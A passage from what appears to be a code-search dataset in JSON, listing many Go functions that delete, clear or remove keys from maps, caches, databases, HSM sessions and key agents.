l.context[i+1:])\n\t\t\t\tl.context[len(l.context)-1] = nil\n\t\t\t\tl.context = l.context[:len(l.context)-1]\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn l\n}","func (am *ClientSetAtomicMap) Delete(key string) {\n\tam.mu.Lock()\n\tdefer am.mu.Unlock()\n\n\tm1 := am.val.Load().(_ClientSetMap)\n\t_, ok := m1[key]\n\tif !ok {\n\t\treturn\n\t}\n\n\tm2 := make(_ClientSetMap, len(m1)-1)\n\tfor k, v := range m1 {\n\t\tif k != key {\n\t\t\tm2[k] = v\n\t\t}\n\t}\n\n\tam.val.Store(m2)\n\treturn\n}","func AllKeys() Subspace {\n\treturn subspace{}\n}","func lunaRemoveKey(p *pkcs11.Ctx, session pkcs11.SessionHandle, keyID []byte) error {\n\n\ttemplate := []*pkcs11.Attribute{\n\t\tpkcs11.NewAttribute(pkcs11.CKA_TOKEN, true),\n\t\tpkcs11.NewAttribute(pkcs11.CKA_ID, keyID),\n\t}\n\n\tobjects, err := findObjects(p, session, template)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Find objects failed: %v\", err)\n\t}\n\n\tfor _, object := range objects {\n\t\terr = p.DestroyObject(session, object)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to remove object %d: %v\", object, err)\n\t\t}\n\t}\n\treturn nil\n}"],"string":"[\n \"func (ks *MemoryStore) RemoveAll() (err error) {\\n\\n\\tfor key := range ks.Keys {\\n\\t\\tdelete(ks.Keys, key)\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (m *MultiMap) RemoveAll(key interface{}) {\\n\\tdelete(m.m, key)\\n}\",\n \"func (v values) RemoveAll() {\\n\\tfor key := range v {\\n\\t\\tdelete(v, key)\\n\\t}\\n}\",\n \"func (t *Map) DeleteAll(keys []interface{}) *Map {\\n\\tfor _, k := range keys {\\n\\t\\tt.Delete(k)\\n\\t}\\n\\treturn t\\n}\",\n \"func (k *MutableKey) Clear() {\\n\\tfor v := range k.vals {\\n\\t\\tdelete(k.vals, v)\\n\\t\\tk.synced = false\\n\\t}\\n}\",\n \"func deleteAllKeys() error {\\n\\tetcd, err := newEtcdClient()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer etcd.Cli.Close()\\n\\n\\tetcd.Kv.Delete(etcd.Ctx, \\\"\\\", clientv3.WithPrefix())\\n\\treturn nil\\n}\",\n \"func (k *Keys) Clean() {\\n\\tif k != nil {\\n\\t\\tif k.Admin != nil {\\n\\t\\t\\tk.Admin.Clean()\\n\\t\\t\\tk.Admin = nil\\n\\t\\t}\\n\\t\\tif k.Server != nil {\\n\\t\\t\\tk.Server.Clean()\\n\\t\\t\\tk.Server = nil\\n\\t\\t}\\n\\t\\tk.Nonce = nil\\n\\t}\\n}\",\n \"func removeKeys(keys ...string) func([]string, slog.Attr) slog.Attr {\\n\\treturn func(_ []string, a slog.Attr) slog.Attr {\\n\\t\\tfor _, k := range keys {\\n\\t\\t\\tif a.Key == k {\\n\\t\\t\\t\\treturn slog.Attr{}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn a\\n\\t}\\n}\",\n \"func (be *s3) removeKeys(t backend.Type) error {\\n\\tdone := make(chan struct{})\\n\\tdefer close(done)\\n\\tfor key := range be.List(backend.Data, done) {\\n\\t\\terr := be.Remove(backend.Data, key)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c *Configmap) Delete(keys ...string) {\\n\\tmapSI := map[string]interface{}(*c)\\n\\tfor _, key := range keys {\\n\\t\\tdelete(mapSI, key)\\n\\t}\\n}\",\n \"func (c DirCollector) Clear() {\\n\\tfor k := range c {\\n\\t\\tdelete(c, k)\\n\\t}\\n}\",\n \"func (ms *MemStore) RemoveAll(keys ...string) {\\n\\tms.mu.Lock()\\n\\tfor _, key := range keys {\\n\\t\\tdelete(ms.data, key)\\n\\t}\\n\\tms.mu.Unlock()\\n}\",\n \"func (c Collector) Clear() {\\n\\tfor k := range c {\\n\\t\\tdelete(c, k)\\n\\t}\\n}\",\n \"func (o *KeyValueOrdered) Clear() {\\n\\tfor k := range o.m {\\n\\t\\tdelete(o.m, k)\\n\\t}\\n\\to.s = o.s[:0]\\n}\",\n \"func (c FileCollector) Clear() {\\n\\tfor k := range c {\\n\\t\\tdelete(c, k)\\n\\t}\\n}\",\n \"func (w *Widget) ClearMappings(app gowid.IApp) {\\n\\tfor k := range w.kmap {\\n\\t\\tdelete(w.kmap, k)\\n\\t}\\n}\",\n \"func (mm *Model) RemoveAll(selector interface{}, keys ...string) (*mgo.ChangeInfo, error) {\\n\\treturn mm.change(func(c CachedCollection) (*mgo.ChangeInfo, error) {\\n\\t\\treturn c.RemoveAll(selector, keys...)\\n\\t})\\n}\",\n \"func (g *Group) Clear() {\\n\\tg.mu.Lock()\\n\\tdefer g.mu.Unlock()\\n\\n\\tg.dict = make(map[string]Entry)\\n\\tg.tmpls = nil\\n}\",\n \"func (k *MutableKey) Discard() {\\n\\tfor v := range k.vals {\\n\\t\\tdelete(k.vals, v)\\n\\t}\\n\\tdelete(k.MutableMap.mutkeys, k.key)\\n\\tk.MutableMap = nil\\n\\tk.vals = nil\\n}\",\n \"func (c DeferDirCollector) Clear() {\\n\\tfor k := range c {\\n\\t\\tdelete(c, k)\\n\\t}\\n}\",\n \"func (c *SyncCollector) Clear() {\\n\\tfor k := range c.c {\\n\\t\\tc.rw.Lock()\\n\\t\\tdelete(c.c, k)\\n\\t\\tc.rw.Unlock()\\n\\t}\\n}\",\n \"func allKeys(k *koanf.Koanf) map[string]interface{} {\\n\\tall := k.All()\\n\\n\\tfor key := range all {\\n\\t\\tif isMap, mapKey := isMapKey(key); isMap {\\n\\t\\t\\tdelete(all, key)\\n\\n\\t\\t\\tall[mapKey] = k.Get(mapKey)\\n\\t\\t}\\n\\t}\\n\\n\\treturn all\\n}\",\n \"func (manager *KeysManager) Clear() {\\n\\tmanager.KeyList = make([]*jose.JSONWebKey, 0)\\n\\tmanager.KeyMap = make(map[string]*jose.JSONWebKey)\\n}\",\n \"func clearMap(store map[string]interface{}) {\\n\\tfor k := range store {\\n\\t\\tdelete(store, k)\\n\\t}\\n}\",\n \"func (this *MyHashMap) Remove(key int) {\\r\\n\\tk := this.hashFunc(key)\\r\\n\\r\\n\\tfor i, v := range this.Keys[k] {\\r\\n\\t\\tif key == v {\\r\\n\\t\\t\\tif i == 0 {\\r\\n\\t\\t\\t\\tthis.Keys[k] = this.Keys[k][1:]\\r\\n\\t\\t\\t\\tthis.Vals[k] = this.Vals[k][1:]\\r\\n\\t\\t\\t} else if i == len(this.Keys[k])-1 {\\r\\n\\t\\t\\t\\tthis.Keys[k] = this.Keys[k][:len(this.Keys[k])-1]\\r\\n\\t\\t\\t\\tthis.Vals[k] = this.Vals[k][:len(this.Vals[k])-1]\\r\\n\\t\\t\\t} else {\\r\\n\\t\\t\\t\\tthis.Keys[k] = append(this.Keys[k][:i], this.Keys[k][i+1:]...)\\r\\n\\t\\t\\t\\tthis.Vals[k] = append(this.Vals[k][:i], this.Vals[k][i+1:]...)\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\treturn\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\treturn\\r\\n}\",\n \"func (ms *MemStore) CleanupSessionKeys(t uint64) error {\\n\\tvar oldKeys []string\\n\\tfor hash, sk := range ms.sessionKeys {\\n\\t\\tif sk.cleanupTime < t {\\n\\t\\t\\toldKeys = append(oldKeys, hash)\\n\\t\\t}\\n\\t}\\n\\tfor _, hash := range oldKeys {\\n\\t\\tdelete(ms.sessionKeys, hash)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m XmlToMap) Del(key string) {\\n\\tdelete(m, key)\\n}\",\n \"func (c *ttlCache) purge() {\\n\\tc.mutex.Lock()\\n\\tdefer c.mutex.Unlock()\\n\\tfor key, value := range c.entries {\\n\\t\\tif value.expireTime.Before(time.Now()) {\\n\\t\\t\\tdelete(c.entries, key)\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"func TestHashMapDel(t *T) {\\n\\n\\tkvs := []*KV{\\n\\t\\tKeyVal(1, \\\"one\\\"),\\n\\t\\tKeyVal(2, \\\"two\\\"),\\n\\t\\tKeyVal(3, \\\"three\\\"),\\n\\t}\\n\\tkvs1 := []*KV{\\n\\t\\tKeyVal(2, \\\"two\\\"),\\n\\t\\tKeyVal(3, \\\"three\\\"),\\n\\t}\\n\\n\\t// Degenerate case\\n\\tm := NewHashMap()\\n\\tm1, ok := m.Del(1)\\n\\tassert.Equal(t, 0, Size(m))\\n\\tassert.Equal(t, 0, Size(m1))\\n\\tassert.Equal(t, false, ok)\\n\\n\\t// Delete actual key\\n\\tm = NewHashMap(kvs...)\\n\\tm1, ok = m.Del(1)\\n\\tassertSeqContentsHashMap(t, kvs, m)\\n\\tassertSeqContentsHashMap(t, kvs1, m1)\\n\\tassert.Equal(t, true, ok)\\n\\n\\t// Delete it again!\\n\\tm2, ok := m1.Del(1)\\n\\tassertSeqContentsHashMap(t, kvs1, m1)\\n\\tassertSeqContentsHashMap(t, kvs1, m2)\\n\\tassert.Equal(t, false, ok)\\n\\n}\",\n \"func (b *BootstrapClient) UnmountAll() *BootstrapClient {\\n\\t//ignore error as this may fail if there is no old configuration\\n\\tb.usingVaultRootToken(func() error {\\n\\t\\t// Remove all old configuration, these may fail if there aren't old configurations to remove\\n\\t\\tb.DisableAuth()\\n\\t\\tb.unmountPostgres()\\n\\t\\tb.unmountMongo()\\n\\t\\tb.unmountTLSCert()\\n\\t\\tb.unmountAWS()\\n\\t\\tb.unmountGeneric()\\n\\t\\tb.unmountTransit()\\n\\t\\treturn nil\\n\\t})\\n\\treturn b\\n}\",\n \"func (diffStore *utxoDiffStore) clearOldEntries() {\\n\\tdiffStore.mtx.HighPriorityWriteLock()\\n\\tdefer diffStore.mtx.HighPriorityWriteUnlock()\\n\\n\\tvirtualBlueScore := diffStore.dag.VirtualBlueScore()\\n\\tminBlueScore := virtualBlueScore - maxBlueScoreDifferenceToKeepLoaded\\n\\tif maxBlueScoreDifferenceToKeepLoaded > virtualBlueScore {\\n\\t\\tminBlueScore = 0\\n\\t}\\n\\n\\ttips := diffStore.dag.virtual.tips()\\n\\n\\ttoRemove := make(map[*blockNode]struct{})\\n\\tfor node := range diffStore.loaded {\\n\\t\\tif node.blueScore < minBlueScore && !tips.contains(node) {\\n\\t\\t\\ttoRemove[node] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\tfor node := range toRemove {\\n\\t\\tdelete(diffStore.loaded, node)\\n\\t}\\n}\",\n \"func RemoveMapFields(config, live map[string]interface{}) map[string]interface{} {\\n\\tresult := map[string]interface{}{}\\n\\tfor k, v1 := range config {\\n\\t\\tv2, ok := live[k]\\n\\t\\tif !ok {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tif v2 != nil {\\n\\t\\t\\tv2 = removeFields(v1, v2)\\n\\t\\t}\\n\\t\\tresult[k] = v2\\n\\t}\\n\\treturn result\\n}\",\n \"func (m BoolMemConcurrentMap) Clear() {\\n\\tfor item := range m.IterBuffered() {\\n\\t\\tm.Remove(item.Key)\\n\\t}\\n}\",\n \"func (rmc *RMakeConf) Clean() {\\n\\tfor _, v := range rmc.Files {\\n\\t\\tv.LastTime = time.Now().AddDate(-20, 0, 0)\\n\\t}\\n\\trmc.Session = \\\"\\\"\\n}\",\n \"func (cc CollectionCache) DeleteAll() {\\n\\tcollectionCache.Range(func(key interface{}, value interface{}) bool {\\n\\t\\tcc.removeByKey(key)\\n\\t\\treturn true\\n\\t})\\n}\",\n \"func (v *vncPlayer) Clear() {\\n\\tv.Lock()\\n\\tdefer v.Unlock()\\n\\n\\tfor k, p := range v.m {\\n\\t\\tlog.Debug(\\\"stopping kb playback for %v\\\", k)\\n\\t\\tif err := p.Stop(); err != nil {\\n\\t\\t\\tlog.Error(\\\"%v\\\", err)\\n\\t\\t}\\n\\n\\t\\tdelete(v.m, k)\\n\\t}\\n}\",\n \"func (ledger *Ledger) DeleteALLStateKeysAndValues() error {\\n\\terr := ledger.chaincodeState.DeleteState()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn ledger.txSetState.DeleteState()\\n}\",\n \"func (m *beingWatchedBuildEventChannelMap) Clean(conditionFunc func(k string, v time.Time) bool) {\\n\\tclone := m.clone()\\n\\tvar toClean []string\\n\\tfor k, v := range clone {\\n\\t\\tdo := conditionFunc(k, v)\\n\\t\\tif do {\\n\\t\\t\\ttoClean = append(toClean, k)\\n\\t\\t}\\n\\t}\\n\\n\\tfor _, k := range toClean {\\n\\t\\tm.delete(k)\\n\\t}\\n}\",\n \"func (g *Generator) ClearConfigVolumes() {\\n\\tg.image.Config.Volumes = map[string]struct{}{}\\n}\",\n \"func (r *Restrictions) ClearUnsupportedKeys() {\\n\\tfor i, rr := range *r {\\n\\t\\tif disabledRestrictionKeys().Has(model.RestrictionKeyNotBefore) {\\n\\t\\t\\trr.NotBefore = 0\\n\\t\\t}\\n\\t\\tif disabledRestrictionKeys().Has(model.RestrictionKeyExpiresAt) {\\n\\t\\t\\trr.ExpiresAt = 0\\n\\t\\t}\\n\\t\\tif disabledRestrictionKeys().Has(model.RestrictionKeyScope) {\\n\\t\\t\\trr.Scope = \\\"\\\"\\n\\t\\t}\\n\\t\\tif disabledRestrictionKeys().Has(model.RestrictionKeyAudiences) {\\n\\t\\t\\trr.Audiences = nil\\n\\t\\t}\\n\\t\\tif disabledRestrictionKeys().Has(model.RestrictionKeyIPs) {\\n\\t\\t\\trr.IPs = nil\\n\\t\\t}\\n\\t\\tif disabledRestrictionKeys().Has(model.RestrictionKeyGeoIPAllow) {\\n\\t\\t\\trr.GeoIPAllow = nil\\n\\t\\t}\\n\\t\\tif disabledRestrictionKeys().Has(model.RestrictionKeyGeoIPDisallow) {\\n\\t\\t\\trr.GeoIPDisallow = nil\\n\\t\\t}\\n\\t\\tif disabledRestrictionKeys().Has(model.RestrictionKeyUsagesAT) {\\n\\t\\t\\trr.UsagesAT = nil\\n\\t\\t}\\n\\t\\tif disabledRestrictionKeys().Has(model.RestrictionKeyUsagesOther) {\\n\\t\\t\\trr.UsagesOther = nil\\n\\t\\t}\\n\\t\\t(*r)[i] = rr\\n\\t}\\n}\",\n \"func (that *StrAnyMap) Removes(keys []string) {\\n\\tthat.mu.Lock()\\n\\tif that.data != nil {\\n\\t\\tfor _, key := range keys {\\n\\t\\t\\tdelete(that.data, key)\\n\\t\\t}\\n\\t}\\n\\tthat.mu.Unlock()\\n}\",\n \"func (ls *KvPairs) Del(key string) {\\n\\n\\tkvp_mu.Lock()\\n\\tdefer kvp_mu.Unlock()\\n\\n\\tfor i, prev := range *ls {\\n\\n\\t\\tif prev.Key == key {\\n\\t\\t\\t*ls = append((*ls)[:i], (*ls)[i+1:]...)\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n}\",\n \"func (m Map) Remove(keys ...string) Map {\\n\\tfor _, key := range keys {\\n\\t\\tdelete(m, key)\\n\\t}\\n\\treturn m\\n}\",\n \"func (g *Group) DeleteAll() {\\n\\tg.Equivalents = list.New()\\n\\tg.Fingerprints = make(map[string]*list.Element)\\n\\tg.FirstExpr = make(map[Operand]*list.Element)\\n\\tg.SelfFingerprint = \\\"\\\"\\n}\",\n \"func (kv *keyValue) Wipe() error {\\n\\tkv.mu.Lock()\\n\\tdefer kv.mu.Unlock()\\n\\t_, err := kv.db.RemoveAll(nil)\\n\\treturn err\\n}\",\n \"func Removes(keys []interface{}) {\\n\\tdefaultCache.Removes(keys)\\n}\",\n \"func (a *LocalKeyAgent) UnloadKeys() error {\\n\\tagents := []agent.Agent{a.Agent}\\n\\tif a.sshAgent != nil {\\n\\t\\tagents = append(agents, a.sshAgent)\\n\\t}\\n\\n\\t// iterate over all agents we have\\n\\tfor _, agent := range agents {\\n\\t\\t// get a list of all keys in the agent\\n\\t\\tkeyList, err := agent.List()\\n\\t\\tif err != nil {\\n\\t\\t\\ta.log.Warnf(\\\"Unable to communicate with agent and list keys: %v\\\", err)\\n\\t\\t}\\n\\n\\t\\t// remove any teleport keys we currently have loaded in the agent\\n\\t\\tfor _, key := range keyList {\\n\\t\\t\\tif strings.HasPrefix(key.Comment, \\\"teleport:\\\") {\\n\\t\\t\\t\\terr = agent.Remove(key)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\ta.log.Warnf(\\\"Unable to communicate with agent and remove key: %v\\\", err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (k *MutableKey) RemoveSet(vals map[uint64]struct{}) {\\n\\tfor val := range vals {\\n\\t\\tdelete(k.vals, val)\\n\\t\\tk.synced = false\\n\\t}\\n}\",\n \"func removeHelperAttributes(c *Config) *Config {\\n\\tif c.TLSConfig != nil {\\n\\t\\tc.TLSConfig.KeyLoader = nil\\n\\t}\\n\\treturn c\\n}\",\n \"func (m *OrderedMap[K,V]) Clear() {\\n\\tm.list.Clear()\\n\\tfor k := range m.mp {\\n\\t\\tdelete(m.mp, k)\\n\\t}\\n}\",\n \"func (c *C) Clear() {\\n\\tc.mu.Lock()\\n\\tdefer c.mu.Unlock()\\n\\n\\t// Clear the map.\\n\\tfor sql, e := range c.mu.m {\\n\\n\\t\\tc.mu.availableMem += e.memoryEstimate()\\n\\t\\tdelete(c.mu.m, sql)\\n\\t\\te.remove()\\n\\t\\te.clear()\\n\\t\\te.insertAfter(&c.mu.free)\\n\\t}\\n}\",\n \"func (tc *testContext) clearWindowsInstanceConfigMap() error {\\n\\tcm, err := tc.client.K8s.CoreV1().ConfigMaps(tc.namespace).Get(context.TODO(), wiparser.InstanceConfigMap,\\n\\t\\tmeta.GetOptions{})\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"error retrieving windows-instances ConfigMap\\\")\\n\\t}\\n\\tcm.Data = map[string]string{}\\n\\t_, err = tc.client.K8s.CoreV1().ConfigMaps(tc.namespace).Update(context.TODO(), cm, meta.UpdateOptions{})\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"error clearing windows-instances ConfigMap data\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (opts *ListOpts) Delete(key string) {\\n for i, k := range *opts.values {\\n if k == key {\\n (*opts.values) = append((*opts.values)[:i], (*opts.values)[i+1:]...)\\n return\\n }\\n }\\n}\",\n \"func UnmountAll() error {\\n\\tDebug(\\\"UnmountAll: %d devices need to be unmounted\\\", len(mountCache.m))\\n\\tfor key, mountCacheData := range mountCache.m {\\n\\t\\tcachedMountPath := mountCacheData.mountPath\\n\\t\\tDebug(\\\"UnmountAll: Unmounting %s\\\", cachedMountPath)\\n\\t\\tif err := mount.Unmount(cachedMountPath, true, false); err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"failed to unmount '%s': %w\\\", cachedMountPath, err)\\n\\t\\t}\\n\\t\\tDebug(\\\"UnmountAll: Unmounted %s\\\", cachedMountPath)\\n\\t\\tdeleteEntryMountCache(key)\\n\\t\\tDebug(\\\"UnmountAll: Deleted key %s from cache\\\", key)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c *Config) Clear() {\\n\\tc.jsonMap.Clear()\\n}\",\n \"func (session *Session) DestroyAllKeys() error {\\n\\tif session == nil || session.Ctx == nil {\\n\\t\\treturn fmt.Errorf(\\\"session not initialized\\\")\\n\\t}\\n\\tdeleteTemplate := []*pkcs11.Attribute{\\n\\t\\t//NewAttribute(CKA_KEY_TYPE, CKK_RSA),\\n\\t\\tpkcs11.NewAttribute(pkcs11.CKA_LABEL, session.Label),\\n\\t}\\n\\tobjects, err := session.FindObject(deleteTemplate)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif len(objects) > 0 {\\n\\t\\tsession.Log.Printf(\\\"Keys found. Deleting...\\\\n\\\")\\n\\t\\tfoundDeleteTemplate := []*pkcs11.Attribute{\\n\\t\\t\\tpkcs11.NewAttribute(pkcs11.CKA_LABEL, nil),\\n\\t\\t\\tpkcs11.NewAttribute(pkcs11.CKA_ID, nil),\\n\\t\\t\\tpkcs11.NewAttribute(pkcs11.CKA_CLASS, nil),\\n\\t\\t}\\n\\n\\t\\tfor _, object := range objects {\\n\\t\\t\\tattr, _ := session.Ctx.GetAttributeValue(session.Handle, object, foundDeleteTemplate)\\n\\t\\t\\tclass := \\\"unknown\\\"\\n\\t\\t\\tif uint(attr[2].Value[0]) == pkcs11.CKO_PUBLIC_KEY {\\n\\t\\t\\t\\tclass = \\\"public\\\"\\n\\t\\t\\t} else if uint(attr[2].Value[0]) == pkcs11.CKO_PRIVATE_KEY {\\n\\t\\t\\t\\tclass = \\\"private\\\"\\n\\t\\t\\t}\\n\\t\\t\\tsession.Log.Printf(\\\"Deleting key with label=%s, id=%s and type=%s\\\\n\\\", string(attr[0].Value), string(attr[1].Value), class)\\n\\n\\t\\t\\tif e := session.Ctx.DestroyObject(session.Handle, object); e != nil {\\n\\t\\t\\t\\tsession.Log.Printf(\\\"Destroy Key failed %s\\\\n\\\", e)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t} else {\\n\\t\\treturn fmt.Errorf(\\\"no keys found\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v CMap) Del(key string) CMap {\\n\\tdelete(v, key)\\n\\treturn v\\n}\",\n \"func RemoveAllPairs() error {\\n\\t_, cmdErr := RunGitConfigCmd(\\\"--unset-all\\\", \\\"\\\")\\n\\treturn cmdErr\\n}\",\n \"func (com *Com) RemoveAll(appid gocql.UUID) (err error) {\\n\\tif err = com.tre.session.Query(`DELETE FROM commands WHERE app_id= ?`,\\n\\t\\tappid).Exec(); err != nil {\\n\\t\\tfmt.Printf(\\\"Remove All Commands Error: %s\\\\n\\\", err.Error())\\n\\t}\\n\\treturn\\n}\",\n \"func (u *UdMap) Del(key string) { delete(u.Data, key) }\",\n \"func testMapUnsetN(n int, m map[Key]interface{}) {\\n\\tfor i := 0; i < n; i++ {\\n\\t\\tdelete(m, Key(i))\\n\\t}\\n}\",\n \"func (bc *MemoryCache) clearItems(keys []string) {\\n\\tbc.Lock()\\n\\tdefer bc.Unlock()\\n\\tfor _, key := range keys {\\n\\t\\tdelete(bc.items, key)\\n\\t}\\n}\",\n \"func processConfigMapDelete(cc *configController, configMap *v1.ConfigMap) error {\\n\\tlogrus.Infof(\\\"Processing Delete configmap %s/%s\\\", configMap.ObjectMeta.Namespace, configMap.ObjectMeta.Name)\\n\\t// Drop all info from removed config map\\n\\tcc.vfs.vfs = map[string]*VF{}\\n\\tcc.configCh <- configMessage{op: operationDeleteAll, pciAddr: \\\"\\\", vf: VF{}}\\n\\n\\treturn nil\\n}\",\n \"func (a *LocalKeyAgent) DeleteKeys() error {\\n\\t// Remove keys from the filesystem.\\n\\terr := a.keyStore.DeleteKeys()\\n\\tif err != nil {\\n\\t\\treturn trace.Wrap(err)\\n\\t}\\n\\n\\t// Remove all keys from the Teleport and system agents.\\n\\terr = a.UnloadKeys()\\n\\tif err != nil {\\n\\t\\treturn trace.Wrap(err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (m *MongoStore) RemoveAll(coll string, key Key) error {\\n\\tif !m.validateParams(coll, key) {\\n\\t\\treturn pkgerrors.New(\\\"Mandatory fields are missing\\\")\\n\\t}\\n\\tc := getCollection(coll, m)\\n\\tctx := context.Background()\\n\\tfilter, err := m.findFilterWithKey(key)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t_, err = c.DeleteMany(ctx, filter)\\n\\tif err != nil {\\n\\t\\treturn pkgerrors.Errorf(\\\"Error Deleting from database: %s\\\", err.Error())\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Cache) deleteItems(keys []string) {\\n\\tc.Lock()\\n\\tdefer c.Unlock()\\n\\n\\tfor _, k := range keys {\\n\\t\\tif _, found := c.items[k]; found {\\n\\t\\t\\tdelete(c.items, k)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (fe *FileEncryptionProperties) WipeOutEncryptionKeys() {\\n\\tfe.footerKey = \\\"\\\"\\n\\tfor _, elem := range fe.encryptedCols {\\n\\t\\telem.WipeOutEncryptionKey()\\n\\t}\\n}\",\n \"func DeleteAllApplicationKeys(db gorp.SqlExecutor, applicationID int64) error {\\n\\tquery := `DELETE FROM application_key WHERE application_id = $1`\\n\\tif _, err := db.Exec(query, applicationID); err != nil {\\n\\t\\treturn sdk.WrapError(err, \\\"cannot delete application key\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (ks Keys) Unique() (uks Keys) {\\n\\tseen := make(map[interface{}]struct{}, len(ks))\\n\\tuks = make(Keys, 0, len(uks))\\n\\tfor _, k := range ks {\\n\\t\\tif _, ok := seen[k]; !ok && k != nil {\\n\\t\\t\\tseen[k] = struct{}{}\\n\\t\\t\\tuks = append(uks, k)\\n\\t\\t}\\n\\t}\\n\\treturn uks\\n}\",\n \"func (m *FieldMap) Clear() {\\n\\tfor k := range m.tagLookup {\\n\\t\\tdelete(m.tagLookup, k)\\n\\t}\\n}\",\n \"func (sess Session) Clear() {\\n\\tfor k, _ := range sess {\\n\\t\\tdelete(sess, k)\\n\\t}\\n}\",\n \"func (su *StateUpdate) ClearVehicleRegistrations() *StateUpdate {\\n\\tsu.mutation.ClearVehicleRegistrations()\\n\\treturn su\\n}\",\n \"func (index *DbIterator) clearKV() {\\n\\tindex.key = nil\\n\\tindex.value = nil\\n}\",\n \"func (c Container) Reset() {\\n\\tfor k := range c {\\n\\t\\tdelete(c, k)\\n\\t}\\n}\",\n \"func (c *evictionClient) ClearAllEvictLabels() error {\\n\\toptions := metav1.ListOptions{\\n\\t\\tFieldSelector: fmt.Sprintf(\\\"spec.nodeName=%s\\\", c.nodeName),\\n\\t}\\n\\tpodLists, err := c.client.CoreV1().Pods(metav1.NamespaceAll).List(options)\\n\\tif err != nil {\\n\\t\\tlog.Errorf(\\\"List pods on %s error\\\", c.nodeName)\\n\\t\\treturn err\\n\\t}\\n\\n\\tfor _, pod := range podLists.Items {\\n\\t\\tfor k := range pod.Labels {\\n\\t\\t\\tpodInfo := types.PodInfo{\\n\\t\\t\\t\\tName: pod.Name,\\n\\t\\t\\t\\tNamespace: pod.Namespace,\\n\\t\\t\\t}\\n\\t\\t\\tif k == types.EvictCandidate {\\n\\t\\t\\t\\tc.LabelPod(&podInfo, k, \\\"Delete\\\")\\n\\t\\t\\t}\\n\\t\\t\\tif k == types.NeedEvict {\\n\\t\\t\\t\\tc.LabelPod(&podInfo, k, \\\"Delete\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (e *etcdCacheEntry) RemoveAllObservers() {\\n e.Lock()\\n defer e.Unlock()\\n e.observers = make([]etcdObserver, 0)\\n}\",\n \"func (g *Generator) ClearConfigLabels() {\\n\\tg.image.Config.Labels = map[string]string{}\\n}\",\n \"func (m *Map) Remove(key string) {\\n\\tif l, ok := m.keys[key]; ok {\\n\\t\\tfor _, n := range l {\\n\\t\\t\\tm.nodes.Delete(n)\\n\\t\\t}\\n\\t\\tdelete(m.keys, key)\\n\\t}\\n}\",\n \"func (b *baseKVStoreBatch) Clear() {\\n\\tb.mutex.Lock()\\n\\tdefer b.mutex.Unlock()\\n\\tb.writeQueue = nil\\n\\n\\tb.fillLock.Lock()\\n\\tdefer b.fillLock.Unlock()\\n\\tfor k := range b.fill {\\n\\t\\tdelete(b.fill, k)\\n\\t}\\n}\",\n \"func (b *BitSet) prune() {\\n\\tchg := true\\n\\n\\tfor chg {\\n\\t\\tchg = false\\n\\t\\tkeyToDelete := uint64(0)\\n\\t\\tfoundToDelete := false\\n\\t\\tfor k, v := range b.set {\\n\\t\\t\\tif v == 0 {\\n\\t\\t\\t\\tfoundToDelete = true\\n\\t\\t\\t\\tkeyToDelete = k\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif foundToDelete {\\n\\t\\t\\tdelete((*b).set, keyToDelete)\\n\\t\\t\\tchg = true\\n\\t\\t}\\n\\t}\\n}\",\n \"func (m Map) FilterKeys(keys ...string) Map {\\n\\tn := Map{}\\n\\tfor _, key := range keys {\\n\\t\\tn[key] = m.Get(key, nil)\\n\\t}\\n\\treturn n\\n}\",\n \"func OmitByKeys[K comparable, V any](in map[K]V, keys []K) map[K]V {\\n\\tr := map[K]V{}\\n\\tfor k, v := range in {\\n\\t\\tif !Contains(keys, k) {\\n\\t\\t\\tr[k] = v\\n\\t\\t}\\n\\t}\\n\\treturn r\\n}\",\n \"func (tp *Tapestry) RemoveKeysAtNode(t *testing.T, node *Node) {\\n\\tfor key := range node.blobstore.blobs {\\n\\n\\t\\t// delete from Blobs\\n\\t\\tdelete(tp.Blobs, key)\\n\\n\\t\\t// delete from Keys\\n\\t\\ttp.RemoveKey(t, key)\\n\\t}\\n}\",\n \"func (m *Manager) RemoveAll() {\\n\\tm.removeAll()\\n}\",\n \"func (m *Manager) RemoveAll() {\\n\\tm.removeAll()\\n}\",\n \"func Del(key string) {\\n\\tdelete(cacher, key)\\n}\",\n \"func (lb *smoothWeightedRR) RemoveAll() {\\n\\tlb.items = lb.items[:0]\\n\\tlb.itemMap = make(map[interface{}]*weightedItem)\\n}\",\n \"func (o APIKeySlice) DeleteAllG() error {\\n\\tif o == nil {\\n\\t\\treturn errors.New(\\\"models: no APIKey slice provided for delete all\\\")\\n\\t}\\n\\treturn o.DeleteAll(boil.GetDB())\\n}\",\n \"func (d 